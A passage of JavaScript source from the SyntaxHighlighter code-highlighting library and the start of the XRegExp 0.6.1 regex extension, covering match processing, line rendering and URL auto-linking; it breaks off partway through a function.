objects.\n\t\t */\n\t\tgetMatches: function(code, regexInfo)\n\t\t{\n\t\t\tfunction defaultAdd(match, regexInfo)\n\t\t\t{\n\t\t\t\treturn [new sh.Match(match[0], match.index, regexInfo.css)];\n\t\t\t};\n\n\t\t\tvar index = 0,\n\t\t\t\tmatch = null,\n\t\t\t\tresult = [],\n\t\t\t\tfunc = regexInfo.func ? regexInfo.func : defaultAdd\n\t\t\t\t;\n\n\t\t\twhile((match = regexInfo.regex.exec(code)) != null)\n\t\t\t\tresult = result.concat(func(match, regexInfo));\n\n\t\t\treturn result;\n\t\t},\n\n\t\tprocessUrls: function(code)\n\t\t{\n\t\t\tvar lt = '&lt;',\n\t\t\t\tgt = '&gt;'\n\t\t\t\t;\n\n\t\t\treturn code.replace(sh.regexLib.url, function(m)\n\t\t\t{\n\t\t\t\tvar suffix = '', prefix = '';\n\n\t\t\t\t// We include &lt; and &gt; in the URL for the common cases like <http://google.com>\n\t\t\t\t// The problem is that they get transformed into &lt;http://google.com&gt;\n\t\t\t\t// Where as &gt; easily looks like part of the URL string.\n\n\t\t\t\tif (m.indexOf(lt) == 0)\n\t\t\t\t{\n\t\t\t\t\tprefix = lt;\n\t\t\t\t\tm = m.substring(lt.length);\n\t\t\t\t}\n\n\t\t\t\tif (m.indexOf(gt) == m.length - gt.length)\n\t\t\t\t{\n\t\t\t\t\tm = m.substring(0, m.length - gt.length);\n\t\t\t\t\tsuffix = gt;\n\t\t\t\t}\n\n\t\t\t\treturn prefix + '<a href=\"' + m + '\">' + m + '</a>' + suffix;\n\t\t\t});\n\t\t},\n\n\t\t/**\n\t\t * Finds all <SCRIPT TYPE=\"syntaxhighlighter\" /> elements.\n\t\t * @return {Array} Returns array of all found SyntaxHighlighter tags.\n\t\t */\n\t\tgetSyntaxHighlighterScriptTags: function()\n\t\t{\n\t\t\tvar tags = document.getElementsByTagName('script'),\n\t\t\t\tresult = []\n\t\t\t\t;\n\n\t\t\tfor (var i = 0; i < tags.length; i++)\n\t\t\t\tif (tags[i].type == 'syntaxhighlighter')\n\t\t\t\t\tresult.push(tags[i]);\n\n\t\t\treturn result;\n\t\t},\n\n\t\t/**\n\t\t * Strips <![CDATA[]]> from <SCRIPT /> content because it should be used\n\t\t * there in most cases for XHTML compliance.\n\t\t * @param {String} original\tInput code.\n\t\t * @return {String} Returns code without leading <![CDATA[]]> tags.\n\t\t */\n\t\tstripCData: function(original)\n\t\t{\n\t\t\tvar left = '<![CDATA[',\n\t\t\t\tright = ']]>',\n\t\t\t\t// for some reason IE inserts some leading blanks here\n\t\t\t\tcopy = sh.utils.trim(original),\n\t\t\t\tchanged = false\n\t\t\t\t;\n\n\t\t\tif (copy.indexOf(left) == 0)\n\t\t\t{\n\t\t\t\tcopy = copy.substring(left.length);\n\t\t\t\tchanged = true;\n\t\t\t}\n\n\t\t\tif (copy.indexOf(right) == copy.length - right.length)\n\t\t\t{\n\t\t\t\tcopy = copy.substring(0, copy.length - right.length);\n\t\t\t\tchanged = true;\n\t\t\t}\n\n\t\t\treturn changed ? copy : original;\n\t\t}\n\t}, // end of utils\n\n\t/**\n\t * Shorthand to highlight all elements on the page that are marked as\n\t * SyntaxHighlighter source code.\n\t *\n\t * @param {Object} globalParams\t\tOptional parameters which override element's\n\t * \t\t\t\t\t\t\t\t\tparameters. Only used if element is specified.\n\t *\n\t * @param {Object} element\tOptional element to highlight. If none is\n\t * \t\t\t\t\t\t\tprovided, all elements in the current document\n\t * \t\t\t\t\t\t\tare highlighted.\n\t */\n\thighlight : function(globalParams, element)\n\t{\n\t\tfunction toArray(source)\n\t\t{\n\t\t\tvar result = [];\n\n\t\t\tfor (var i = 0; i < source.length; i++)\n\t\t\t\tresult.push(source[i]);\n\n\t\t\treturn result;\n\t\t};\n\n\t\tvar elements = element ? [element] : toArray(document.getElementsByTagName(sh.config.tagName)),\n\t\t\tpropertyName = 'innerHTML',\n\t\t\thighlighter = null,\n\t\t\tconf = sh.config\n\t\t\t;\n\n\t\t// support for <SCRIPT TYPE=\"syntaxhighlighter\" /> feature\n\t\tif (conf.useScriptTags)\n\t\t\telements = elements.concat(sh.utils.getSyntaxHighlighterScriptTags());\n\n\t\tif (elements.length === 0)\n\t\t\treturn;\n\n\t\tfor (var i = 0; i < elements.length; i++)\n\t\t{\n\t\t\tvar target = elements[i],\n\t\t\t\tparams = sh.utils.parseParams(target.className),\n\t\t\t\tbrushName,\n\t\t\t\tcode,\n\t\t\t\tresult\n\t\t\t\t;\n\n\t\t\t// local params take precedence over globals\n\t\t\tparams = sh.utils.merge(globalParams, params);\n\t\t\tbrushName = params['brush'];\n\n\t\t\tif (brushName == null)\n\t\t\t\tcontinue;\n\n\t\t\t// Instantiate a brush\n\t\t\tif (params['html-script'] == 'true' || sh.defaults['html-script'] == true)\n\t\t\t{\n\t\t\t\thighlighter = new sh.HtmlScript(brushName);\n\t\t\t\tbrushName = 'htmlscript';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tvar brush = sh.utils.findBrush(brushName);\n\n\t\t\t\tif (brush)\n\t\t\t\t{\n\t\t\t\t\tbrushName = brush.name;\n\t\t\t\t\thighlighter = new brush();\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tcode = target[propertyName];\n\n\t\t\t// remove CDATA from <SCRIPT/> tags if it's present\n\t\t\tif (conf.useScriptTags)\n\t\t\t\tcode = sh.utils.stripCData(code);\n\n\t\t\tparams['brush-name'] = brushName;\n\t\t\thighlighter.highlight(code, params);\n\n\t\t\tresult = highlighter.div;\n\n\t\t\tif (sh.config.debug)\n\t\t\t{\n\t\t\t\tresult = document.createElement('textarea');\n\t\t\t\tresult.value = highlighter.div.innerHTML;\n\t\t\t\tresult.style.width = '70em';\n\t\t\t\tresult.style.height = '30em';\n\t\t\t}\n\n\t\t\ttarget.parentNode.replaceChild(result, target);\n\t\t}\n\t},\n\n\t/**\n\t * Main entry point for the SyntaxHighlighter.\n\t * @param {Object} params Optional params to apply to all highlighted elements.\n\t */\n\tall : function(params)\n\t{\n\t\tsh.utils.addEvent(\n\t\t\twindow,\n\t\t\t'load',\n\t\t\tfunction() { sh.highlight(params); }\n\t\t);\n\t}\n}; // end of sh\n\n/**\n * Match object.\n */\nsh.Match = function(value, index, css)\n{\n\tthis.value = value;\n\tthis.index = index;\n\tthis.length = value.length;\n\tthis.css = css;\n\tthis.brushName = null;\n};\n\nsh.Match.prototype.toString = function()\n{\n\treturn this.value;\n};\n\n/**\n * Simulates HTML code with a scripting language embedded.\n *\n * @param {String} scriptBrushName Brush name of the scripting language.\n */\nsh.HtmlScript = function(scriptBrushName)\n{\n\tvar brushClass = sh.utils.findBrush(scriptBrushName),\n\t\tscriptBrush,\n\t\txmlBrush = new sh.brushes.Xml(),\n\t\tbracketsRegex = null\n\t\t;\n\n\tif (brushClass == null)\n\t\treturn;\n\n\tscriptBrush = new brushClass();\n\tthis.xmlBrush = xmlBrush;\n\n\tif (scriptBrush.htmlScript == null)\n\t{\n\t\tsh.utils.alert(sh.config.strings.brushNotHtmlScript + scriptBrushName);\n\t\treturn;\n\t}\n\n\txmlBrush.regexList.push(\n\t\t{ regex: scriptBrush.htmlScript.code, func: process }\n\t);\n\n\tfunction offsetMatches(matches, offset)\n\t{\n\t\tfor (var j = 0; j < matches.length; j++)\n\t\t\tmatches[j].index += offset;\n\t}\n\n\tfunction process(match, info)\n\t{\n\t\tvar code = match.code,\n\t\t\tmatches = [],\n\t\t\tregexList = scriptBrush.regexList,\n\t\t\toffset = match.index + match.left.length,\n\t\t\thtmlScript = scriptBrush.htmlScript,\n\t\t\tresult\n\t\t\t;\n\n\t\t// add all matches from the code\n\t\tfor (var i = 0; i < regexList.length; i++)\n\t\t{\n\t\t\tresult = sh.utils.getMatches(code, regexList[i]);\n\t\t\toffsetMatches(result, offset);\n\t\t\tmatches = matches.concat(result);\n\t\t}\n\n\t\t// add left script bracket\n\t\tif (htmlScript.left != null && match.left != null)\n\t\t{\n\t\t\tresult = sh.utils.getMatches(match.left, htmlScript.left);\n\t\t\toffsetMatches(result, match.index);\n\t\t\tmatches = matches.concat(result);\n\t\t}\n\n\t\t// add right script bracket\n\t\tif (htmlScript.right != null && match.right != null)\n\t\t{\n\t\t\tresult = sh.utils.getMatches(match.right, htmlScript.right);\n\t\t\toffsetMatches(result, match.index + match[0].lastIndexOf(match.right));\n\t\t\tmatches = matches.concat(result);\n\t\t}\n\n\t\tfor (var j = 0; j < matches.length; j++)\n\t\t\tmatches[j].brushName = brushClass.name;\n\n\t\treturn matches;\n\t}\n};\n\nsh.HtmlScript.prototype.highlight = function(code, params)\n{\n\tthis.xmlBrush.highlight(code, params);\n\tthis.div = this.xmlBrush.div;\n}\n\n/**\n * Main Highlither class.\n * @constructor\n */\nsh.Highlighter = function()\n{\n};\n\nsh.Highlighter.prototype = {\n\t/**\n\t * Returns value of the parameter passed to the highlighter.\n\t * @param {String} name\t\t\t\tName of the parameter.\n\t * @param {Object} defaultValue\t\tDefault value.\n\t * @return {Object}\t\t\t\t\tReturns found value or default value otherwise.\n\t */\n\tgetParam : function(name, defaultValue)\n\t{\n\t\tvar result = this.params[name];\n\t\treturn sh.utils.toBoolean(result == null ? defaultValue : result);\n\t},\n\n\t/**\n\t * Shortcut to document.createElement().\n\t * @param {String} name\t\tName of the element to create (DIV, A, etc).\n\t * @return {HTMLElement}\tReturns new HTML element.\n\t */\n\tcreate: function(name)\n\t{\n\t\treturn document.createElement(name);\n\t},\n\n\t/**\n\t * Applies all regular expression to the code and stores all found\n\t * matches in the `this.matches` array.\n\t * @param {Array} regexList\t\tList of regular expressions.\n\t * @param {String} code\t\t\tSource code.\n\t * @return {Array}\t\t\t\tReturns list of matches.\n\t */\n\tfindMatches: function(regexList, code)\n\t{\n\t\tvar result = [];\n\n\t\tif (regexList != null)\n\t\t\tfor (var i = 0; i < regexList.length; i++)\n\t\t\t\t// BUG: length returns len+1 for array if methods added to prototype chain (oising@gmail.com)\n\t\t\t\tif (typeof (regexList[i]) == \"object\")\n\t\t\t\t\tresult = result.concat(sh.utils.getMatches(code, regexList[i]));\n\n\t\t// sort the matches\n\t\treturn result.sort(sh.utils.matchesSortCallback);\n\t},\n\n\t/**\n\t * Checks to see if any of the matches are inside of other matches.\n\t * This process would get rid of highligted strings inside comments,\n\t * keywords inside strings and so on.\n\t */\n\tremoveNestedMatches: function()\n\t{\n\t\tvar matches = this.matches;\n\n\t\t// Optimized by Jose Prado (http://joseprado.com)\n\t\tfor (var i = 0; i < matches.length; i++)\n\t\t{\n\t\t\tif (matches[i] === null)\n\t\t\t\tcontinue;\n\n\t\t\tvar itemI = matches[i],\n\t\t\t\titemIEndPos = itemI.index + itemI.length\n\t\t\t\t;\n\n\t\t\tfor (var j = i + 1; j < matches.length && matches[i] !== null; j++)\n\t\t\t{\n\t\t\t\tvar itemJ = matches[j];\n\n\t\t\t\tif (itemJ === null)\n\t\t\t\t\tcontinue;\n\t\t\t\telse if (itemJ.index > itemIEndPos)\n\t\t\t\t\tbreak;\n\t\t\t\telse if (itemJ.index == itemI.index && itemJ.length > itemI.length)\n\t\t\t\t\tthis.matches[i] = null;\n\t\t\t\telse if (itemJ.index >= itemI.index && itemJ.index < itemIEndPos)\n\t\t\t\t\tthis.matches[j] = null;\n\t\t\t}\n\t\t}\n\t},\n\n\t/**\n\t * Splits block of text into individual DIV lines.\n\t * @param {String} code     Code to highlight.\n\t * @return {String}         Returns highlighted code in HTML form.\n\t */\n\tcreateDisplayLines : function(code)\n\t{\n\t\tvar lines = code.split(/\\n/g),\n\t\t\tfirstLine = parseInt(this.getParam('first-line')),\n\t\t\tpadLength = this.getParam('pad-line-numbers'),\n\t\t\thighlightedLines = this.getParam('highlight', []),\n\t\t\thasGutter = this.getParam('gutter')\n\t\t\t;\n\n\t\tcode = '';\n\n\t\tif (padLength == true)\n\t\t\tpadLength = (firstLine + lines.length - 1).toString().length;\n\t\telse if (isNaN(padLength) == true)\n\t\t\tpadLength = 0;\n\n\t\tfor (var i = 0; i < lines.length; i++)\n\t\t{\n\t\t\tvar line = lines[i],\n\t\t\t\tindent = /^(&nbsp;|\\s)+/.exec(line),\n\t\t\t\tlineClass = 'alt' + (i % 2 == 0 ? 1 : 2),\n\t\t\t\tlineNumber = sh.utils.padNumber(firstLine + i, padLength),\n\t\t\t\thighlighted = sh.utils.indexOf(highlightedLines, (firstLine + i).toString()) != -1,\n\t\t\t\tspaces = null\n\t\t\t\t;\n\n\t\t\tif (indent != null)\n\t\t\t{\n\t\t\t\tspaces = indent[0].toString();\n\t\t\t\tline = line.substr(spaces.length);\n\t\t\t}\n\n\t\t\tline = sh.utils.trim(line);\n\n\t\t\tif (line.length == 0)\n\t\t\t\tline = '&nbsp;';\n\n\t\t\tif (highlighted)\n\t\t\t\tlineClass += ' highlighted';\n\n\t\t\tcode +=\n\t\t\t\t'<div class=\"line ' + lineClass + '\">'\n\t\t\t\t\t+ '<table>'\n\t\t\t\t\t\t+ '<tr>'\n\t\t\t\t\t\t\t+ (hasGutter ? '<td class=\"number\"><code>' + lineNumber + '</code></td>' : '')\n\t\t\t\t\t\t\t+ '<td class=\"content\">'\n\t\t\t\t\t\t\t\t+ (spaces != null ? '<code class=\"spaces\">' + spaces.replace(' ', '&nbsp;') + '</code>' : '')\n\t\t\t\t\t\t\t\t+ line\n\t\t\t\t\t\t\t+ '</td>'\n\t\t\t\t\t\t+ '</tr>'\n\t\t\t\t\t+ '</table>'\n\t\t\t\t+ '</div>'\n\t\t\t\t;\n\t\t}\n\n\t\treturn code;\n\t},\n\n\t/**\n\t * Finds all matches in the source code.\n\t * @param {String} code\t\tSource code to process matches in.\n\t * @param {Array} matches\tDiscovered regex matches.\n\t * @return {String} Returns formatted HTML with processed mathes.\n\t */\n\tprocessMatches: function(code, matches)\n\t{\n\t\tvar pos = 0,\n\t\t\tresult = '',\n\t\t\tdecorate = sh.utils.decorate, // make an alias to save some bytes\n\t\t\tbrushName = this.getParam('brush-name', '')\n\t\t\t;\n\n\t\tfunction getBrushNameCss(match)\n\t\t{\n\t\t\tvar result = match ? (match.brushName || brushName) : brushName;\n\t\t\treturn result ? result + ' ' : '';\n\t\t};\n\n\t\t// Finally, go through the final list of matches and pull the all\n\t\t// together adding everything in between that isn't a match.\n\t\tfor (var i = 0; i < matches.length; i++)\n\t\t{\n\t\t\tvar match = matches[i],\n\t\t\t\tmatchBrushName\n\t\t\t\t;\n\n\t\t\tif (match === null || match.length === 0)\n\t\t\t\tcontinue;\n\n\t\t\tmatchBrushName = getBrushNameCss(match);\n\n\t\t\tresult += decorate(code.substr(pos, match.index - pos), matchBrushName + 'plain')\n\t\t\t\t\t+ decorate(match.value, matchBrushName + match.css)\n\t\t\t\t\t;\n\n\t\t\tpos = match.index + match.length;\n\t\t}\n\n\t\t// don't forget to add whatever's remaining in the string\n\t\tresult += decorate(code.substr(pos), getBrushNameCss() + 'plain');\n\n\t\treturn result;\n\t},\n\n\t/**\n\t * Highlights the code and returns complete HTML.\n\t * @param {String} code     Code to highlight.\n\t * @param {Object} params   Parameters object.\n\t */\n\thighlight: function(code, params)\n\t{\n\t\t// using variables for shortcuts because JS compressor will shorten local variable names\n\t\tvar conf = sh.config,\n\t\t\tvars = sh.vars,\n\t\t\tdiv,\n\t\t\tdivClassName,\n\t\t\ttabSize,\n\t\t\timportant = 'important'\n\t\t\t;\n\n\t\tthis.params = {};\n\t\tthis.div = null;\n\t\tthis.lines = null;\n\t\tthis.code = null;\n\t\tthis.bar = null;\n\t\tthis.toolbarCommands = {};\n\t\tthis.id = sh.utils.guid('highlighter_');\n\n\t\t// register this instance in the highlighters list\n\t\tvars.highlighters[this.id] = this;\n\n\t\tif (code === null)\n\t\t\tcode = '';\n\n\t\t// local params take precedence over defaults\n\t\tthis.params = sh.utils.merge(sh.defaults, params || {});\n\n\t\t// process light mode\n\t\tif (this.getParam('light') == true)\n\t\t\tthis.params.toolbar = this.params.gutter = false;\n\n\t\tthis.div = div = this.create('DIV');\n\t\tthis.lines = this.create('DIV');\n\t\tthis.lines.className = 'lines';\n\n\t\tclassName = 'syntaxhighlighter';\n\t\tdiv.id = this.id;\n\n\t\t// make collapsed\n\t\tif (this.getParam('collapse'))\n\t\t\tclassName += ' collapsed';\n\n\t\t// disable gutter\n\t\tif (this.getParam('gutter') == false)\n\t\t\tclassName += ' nogutter';\n\n\t\t// disable line wrapping\n\t\tif (this.getParam('wrap-lines') == false)\n\t\t \tthis.lines.className += ' no-wrap';\n\n\t\t// add custom user style name\n\t\tclassName += ' ' + this.getParam('class-name');\n\n\t\t// add brush alias to the class name for custom CSS\n\t\tclassName += ' ' + this.getParam('brush-name');\n\n\t\tdiv.className = className;\n\n\t\tthis.originalCode = code;\n\t\tthis.code = sh.utils.trimFirstAndLastLines(code)\n\t\t\t.replace(/\\r/g, ' ') // IE lets these buggers through\n\t\t\t;\n\n\t\ttabSize = this.getParam('tab-size');\n\n\t\t// replace tabs with spaces\n\t\tthis.code = this.getParam('smart-tabs') == true\n\t\t\t? sh.utils.processSmartTabs(this.code, tabSize)\n\t\t\t: sh.utils.processTabs(this.code, tabSize)\n\t\t\t;\n\n\t\tthis.code = sh.utils.unindent(this.code);\n\n\t\t// add controls toolbar\n\t\tif (this.getParam('toolbar'))\n\t\t{\n\t\t\tthis.bar = this.create('DIV');\n\t\t\tthis.bar.className = 'bar';\n\t\t\tthis.bar.appendChild(sh.toolbar.create(this));\n\t\t\tdiv.appendChild(this.bar);\n\n\t\t\t// set up toolbar rollover\n\t\t\tvar bar = this.bar;\n\t\t\tfunction hide() { bar.className = bar.className.replace('show', ''); }\n\t\t\tdiv.onmouseover = function() { hide(); bar.className += ' show'; };\n\t\t\tdiv.onmouseout = function() { hide(); }\n\t\t}\n\n\t\tdiv.appendChild(this.lines);\n\n\t\tthis.matches = this.findMatches(this.regexList, this.code);\n\t\tthis.removeNestedMatches();\n\n\t\tcode = this.processMatches(this.code, this.matches);\n\n\t\t// finally, split all lines so that they wrap well\n\t\tcode = this.createDisplayLines(sh.utils.trim(code));\n\n\t\t// finally, process the links\n\t\tif (this.getParam('auto-links'))\n\t\t\tcode = sh.utils.processUrls(code);\n\n\t\tthis.lines.innerHTML = code;\n\t},\n\n\t/**\n\t * Converts space separated list of keywords into a regular expression string.\n\t * @param {String} str    Space separated keywords.\n\t * @return {String}       Returns regular expression string.\n\t */\n\tgetKeywords: function(str)\n\t{\n\t\tstr = str\n\t\t\t.replace(/^\\s+|\\s+$/g, '')\n\t\t\t.replace(/\\s+/g, '|')\n\t\t\t;\n\n\t\treturn '\\\\b(?:' + str + ')\\\\b';\n\t},\n\n\t/**\n\t * Makes a brush compatible with the `html-script` functionality.\n\t * @param {Object} regexGroup Object containing `left` and `right` regular expressions.\n\t */\n\tforHtmlScript: function(regexGroup)\n\t{\n\t\tthis.htmlScript = {\n\t\t\tleft : { regex: regexGroup.left, css: 'script' },\n\t\t\tright : { regex: regexGroup.right, css: 'script' },\n\t\t\tcode : new XRegExp(\n\t\t\t\t\"(?<left>\" + regexGroup.left.source + \")\" +\n\t\t\t\t\"(?<code>.*?)\" +\n\t\t\t\t\"(?<right>\" + regexGroup.right.source + \")\",\n\t\t\t\t\"sgi\"\n\t\t\t\t)\n\t\t};\n\t}\n}; // end of Highlighter\n\nreturn sh;\n}(); // end of anonymous function\n\n\n/**\n * XRegExp 0.6.1\n * (c) 2007-2008 Steven Levithan\n * <http://stevenlevithan.com/regex/xregexp/>\n * MIT License\n *\n * provides an augmented, cross-browser implementation of regular expressions\n * including support for additional modifiers and syntax. several convenience\n * methods and a recursive-construct parser are also included.\n */\n\n// prevent running twice, which would break references to native globals\nif (!window.XRegExp) {\n// anonymous function to avoid global variables\n(function () {\n// copy various native globals for reference. can't use the name ``native``\n// because it's a reserved JavaScript keyword.\nvar real = {\n        exec:    RegExp.prototype.exec,\n        match:   String.prototype.match,\n        replace: String.prototype.replace,\n        split:   String.prototype.split\n    },\n    /* regex syntax parsing with support for all the necessary cross-\n       browser and context issues (escapings, character classes, etc.) */\n    lib = {\n        part:       /(?:[^\\\\([#\\s.]+|\\\\(?!k<[\\w$]+>|[pP]{[^}]+})[\\S\\s]?|\\((?=\\?(?!#|<[\\w$]+>)))+|(\\()(?:\\?(?:(#)[^)]*\\)|<([$\\w]+)>))?|\\\\(?:k<([\\w$]+)>|[pP]{([^}]+)})|(\\[\\^?)|([\\S\\s])/g,\n        replaceVar: /(?:[^$]+|\\$(?![1-9$&`']|{[$\\w]+}))+|\\$(?:([1-9]\\d*|[$&`'])|{([$\\w]+)})/g,\n        extended:   /^(?:\\s+|#.*)+/,\n        quantifier: /^(?:[?*+]|{\\d+(?:,\\d*)?})/,\n        classLeft:  /&&\\[\\^?/g,\n        classRight: /]/g\n    },\n    indexOf = function (array, item, from) {\n        for (var i = from || 0; i < array.length; i++)\n            if (array[i] === item) return i;\n        return -1;\n    },\n    brokenExecUndef = /()??/.exec(\"\")[1] !== undefined,\n    plugins = {};\n\n/**\n * Accepts a pattern and flags, returns a new, extended RegExp object.\n * differs from a native regex in that additional flags and syntax are\n * supported and browser inconsistencies are ameliorated.\n * @ignore\n */\nXRegExp = function (pattern, flags) {\n    if (pattern instanceof RegExp) {\n        if (flags !== undefined)\n            throw TypeError(\"can't supply flags when constructing one RegExp from another\");\n        return pattern.addFlags(); // new copy\n    }\n\n    var flags           = flags || \"\",\n        singleline      = flags.indexOf(\"s\") > -1,\n        extended        = flags.indexOf(\"x\") > -1,\n        hasNamedCapture = false,\n        captureNames    = [],\n        output          = [],\n        part            = lib.part,\n        match, cc, len, index, regex;\n\n    part.lastIndex = 0; // in case the last XRegExp compilation threw an error (unbalanced character class)\n\n    while (match = real.exec.call(part, pattern)) {\n        // comment pattern. this check must come before the capturing group check,\n        // because both match[1] and match[2] will be non-empty.\n        if (match[2]) {\n            // keep tokens separated unless the following token is a quantifier\n            if (!lib.quantifier.test(pattern.slice(part.lastIndex)))\n                output.push(\"(?:)\");\n        // capturing group\n        } else if (match[1]) {\n            captureNames.push(match[3] || null);\n            if (match[3])\n                hasNamedCapture = true;\n            output.push(\"(\");\n        // named backreference\n        } else if (match[4]) {\n            index = indexOf(captureNames, match[4]);\n            // keep backreferences separate from subsequent literal numbers\n            // preserve backreferences to named groups that are undefined at this point as literal strings\n            output.push(index > -1 ?\n                \"\\\\\" + (index + 1) + (isNaN(pattern.charAt(part.lastIndex)) ? \"\" : \"(?:)\") :\n                match[0]\n            );\n        // unicode element (requires plugin)\n        } else if (match[5]) {\n            output.push(plugins.unicode ?\n                plugins.unicode.get(match[5], match[0].charAt(1) === \"P\") :\n                match[0]\n            );\n        // character class opening delimiter (\"[\" or \"[^\")\n        // (non-native unicode elements are not supported within character classes)\n        } else if (match[6]) {\n            if (pattern.charAt(part.lastIndex) === \"]\") {\n                // for cross-browser compatibility with ECMA-262 v3 behavior,\n                // convert [] to (?!) and [^] to [\\S\\s].\n                output.push(match[6] === \"[\" ? \"(?!)\" : \"[\\\\S\\\\s]\");\n                part.lastIndex++;\n            } else {\n                // parse the character class with support for inner escapes and\n                // ES4's infinitely nesting intersection syntax ([&&[^&&[]]]).\n                cc = XRegExp.matchRecursive(\"&&\" + pattern.slice(match.index), lib.classLeft, lib.classRight, \"\", {escapeChar: \"\\\\\"})[0];\n                output.push(match[6] + cc + \"]\");\n                part.lastIndex += cc.length + 1;\n            }\n        // dot (\".\"), pound sign (\"#\"), or whitespace character\n        } else if (match[7]) {\n            if (singleline && match[7] === \".\") {\n                output.push(\"[\\\\S\\\\s]\");\n            } else if (extended && lib.extended.test(match[7])) {\n                len = real.exec.call(lib.extended, pattern.slice(part.lastIndex - 1))[0].length;\n                // keep tokens separated unless the following token is a quantifier\n                if (!lib.quantifier.test(pattern.slice(part.lastIndex - 1 + len)))\n                    output.push(\"(?:)\");\n                part.lastIndex += len - 1;\n            } else {\n                output.push(match[7]);\n            }\n        } else {\n            output.push(match[0]);\n        }\n    }\n\n    regex = RegExp(output.join(\"\"), real.replace.call(flags, /[sx]+/g, \"\"));\n    regex._x = {\n        source:       pattern,\n        captureNames: hasNamedCapture ? captureNames : null\n    };\n    return regex;\n};\n\n/**\n * Barebones plugin support for now (intentionally undocumented)\n * @ignore\n * @param {Object} name\n * @param {Object} o\n */\nXRegExp.addPlugin = function (name, o) {\n    plugins[name] = o;\n};\n\n/**\n * Adds named capture support, with values returned as ``result.name``.\n *\n * Also fixes two cross-browser issues, following the ECMA-262 v3 spec:\n *  - captured values for non-participating capturing groups should be returned\n *    as ``undefined``, rather than the empty string.\n *  - the regex's ``lastIndex`` should not be incremented after zero-length\n *    matches.\n * @ignore\n */\nRegExp.prototype.exec = function (str) {\n    var match = real.exec.call(this, str),\n        name, i, r2;\n    if (match) {\n        // fix browsers whose exec methods don't consistently return\n        // undefined for non-participating capturing groups\n        if (brokenExecUndef && match.length > 1) {\n            // r2 doesn't need /g or /y, but they shouldn't hurt\n            r2 = new RegExp(\"^\" + this.source + \"$(?!\\\\s)\", this.getNativeFlags());\n            real.replace.call(match[0], r2, function () {\n                for (i = 1; i < arguments.length - 2; i++) {\n                    if (arguments[i] === undefined) match[i] = undefined;\n                }\n            });\n        }\n        // attach named capture properties\n        if (this._x && this._x.captureNames) {\n            for (i = 1; i < match.length; i++) {\n                name = this._x.captureNames[i - 1];\n                if (name) match[name] = match[i];\n            }\n        }\n        // fix browsers that increment lastIndex after zero-length matches\n        if (this.global && this.lastIndex > (match.index + match[0].length))\n            this.lastIndex--;\n    }\n    return match;\n};\n})(); // end anonymous function\n} // end if(!window.XRegExp)\n\n/**\n * intentionally undocumented\n * @ignore\n */\nRegExp.prototype.getNativeFlags = function () {\n    return (this.global     ? \"g\" : \"\") +\n           (this.ignoreCase ? \"i\" : \"\") +\n           (this.multiline  ? \"m\" : \"\") +\n           (this.extended   ? \"x\" : \"\") +\n           (this.sticky     ? \"y\" : \"\");\n};\n\n/**\n * Accepts flags; returns a new XRegExp object generated by recompiling\n * the regex with the additional flags (may include non-native flags).\n * The original regex object is not altered.\n * @ignore\n */\nRegExp.prototype.addFlags = function (flags) {\n    var regex = new XRegExp(this.source, (flags || \"\") + this.getNativeFlags());\n    if (this._x) {\n        regex._x = {\n            source:       this._x.source,\n            captureNames: this._x.captureNames ? this._x.captureNames.slice(0) : null\n        };\n    }\n    return regex;\n};\n\n/**\n * Accepts a context object and string; returns the result of calling\n * ``exec`` with the provided string. the context is ignored but is\n * accepted for congruity with ``Function.prototype.call``.\n * @ignore\n */\nRegExp.prototype.call = function (context, str) {\n    return this.exec(str);\n};\n\n/**\n * Accepts a context object and arguments array; returns the result of\n * calling ``exec`` with the first value in the arguments array. the context\n * is ignored but is accepted for congruity with ``Function.prototype.apply``.\n * @ignore\n */\nRegExp.prototype.apply = function (context, args) {\n    return this.exec(args[0]);\n};\n\n/**\n * Accepts a pattern and flags; returns an XRegExp object. if the pattern\n * and flag combination has previously been cached, the cached copy is\n * returned, otherwise the new object is cached.\n * @ignore\n */\nXRegExp.cache = function (pattern, flags) {\n    var key = \"/\" + pattern + \"/\" + (flags || \"\");\n    return XRegExp.cache[key] || (XRegExp.cache[key] = new XRegExp(pattern, flags));\n};\n\n/**\n * Accepts a string; returns the string with regex metacharacters escaped.\n * the returned string can safely be used within a regex to match a literal\n * string. escaped characters are [, ], {, }, (, ), -, *, +, ?, ., \\, ^, $,\n * |, #, [comma], and whitespace.\n * @ignore\n */\nXRegExp.escape = function (str) {\n    return str.replace(/[-[\\]{}()*+?.\\\\^$|,#\\s]/g, \"\\\\$&\");\n};\n\n/**\n * Accepts a string to search, left and right delimiters as regex pattern\n * strings, optional regex flags (may include non-native s, x, and y flags),\n * and an options object which allows setting an escape character and changing\n * the return format from an array of matches to a two-dimensional array of\n * string parts with extended position data. returns an array of matches\n * (optionally with extended data), allowing nested instances of left and right\n * delimiters. use the g flag to return all matches, otherwise only the first\n * is returned. if delimiters are unbalanced within the subject data, an error\n * is thrown.\n *\n * This function admittedly pushes the boundaries of what can be accomplished\n * sensibly without a \"real\" parser. however, by doing so it provides flexible\n * and powerful recursive parsing capabilities with minimal code weight.\n *\n * Warning: the ``escapeChar`` option is considered experimental and might be\n * changed or removed in future versions of XRegExp.\n *\n * unsupported features:\n *  - backreferences within delimiter patterns when using ``escapeChar``.\n *  - although providing delimiters as regex objects adds the minor feature of\n *    independent delimiter flags, it introduces other limitations and is only\n *    intended to be done by the ``XRegExp`` constructor (which can't call\n *    itself while building a regex).\n *\n * @ignore\n */\nXRegExp.matchRecursive = function (str, left, right, flags, options) {\n    var options      = options || {},\n        escapeChar   = options.escapeChar,\n        vN           = options.valueNames,\n        flags        = flags || \"\",\n        global       = flags.indexOf(\"g\") > -1,\n        ignoreCase   = flags.indexOf(\"i\") > -1,\n        multiline    = flags.indexOf(\"m\") > -1,\n        sticky       = flags.indexOf(\"y\") > -1,\n        /* sticky mode has its own handling in this function, which means you\n           can use flag \"y\" even in browsers which don't support it natively */\n        flags        = flags.replace(/y/g, \"\"),\n        left         = left  instanceof RegExp ? (left.global  ? left  : left.addFlags(\"g\"))  : new XRegExp(left,  \"g\" + flags),\n        right        = right instanceof RegExp ? (right.global ? right : right.addFlags(\"g\")) : new XRegExp(right, \"g\" + flags),\n        output       = [],\n        openTokens   = 0,\n        delimStart   = 0,\n        delimEnd     = 0,\n        lastOuterEnd = 0,\n        outerStart, innerStart, leftMatch, rightMatch, escaped, esc;\n\n    if (escapeChar) {\n        if (escapeChar.length > 1) throw SyntaxError(\"can't supply more than one escape character\");\n        if (multiline)             throw TypeError(\"can't supply 